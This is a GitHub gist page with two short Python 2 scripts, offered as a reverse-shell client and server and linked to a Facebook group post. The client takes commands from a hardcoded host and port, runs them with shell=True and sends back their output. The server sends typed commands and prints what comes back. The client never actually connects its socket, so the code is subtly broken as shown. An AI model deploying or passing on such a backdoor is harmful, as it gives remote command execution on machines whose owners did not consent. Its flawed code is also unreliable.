Created
July 13, 2017 14:04
-
-
Save fernandosavio/0e62ee8e22ce11f5c1aba04f7574a4f7 to your computer and use it in GitHub Desktop.
reverse-shell-tcp-client-server. Post: https://www.facebook.com/groups/python.brasil/permalink/1149406331830902/ Foto: https://www.facebook.com/photo.php?fbid=349046952196332&set=p.349046952196332&type=3&theater
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket, subprocess | |
def connect(): | |
ip = "192.168.0.100" | |
port = 6000 | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
while True: | |
command = s.recv(1024) | |
if "quit" in command: | |
s.close() | |
break | |
else: | |
cmd = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, | |
stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
s.send(cmd.stdout.read()) | |
s.send(cmd.stderr.read()) | |
def main(): | |
connect() | |
main() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
def connect(): | |
ip = "" | |
port = 6000 | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.bind((ip, port)) | |
s.listen(1) | |
print("Listening at port:", port) | |
conn, addr = s.accept() | |
print("User connected:", addr) | |
while True: | |
command = raw_input("CMD# >") | |
if "quit" in command: | |
conn.send("quit") | |
conn.close() | |
break | |
else: | |
conn.send(command) | |
print(conn.recv(1024)) | |
def main(): | |
connect() | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment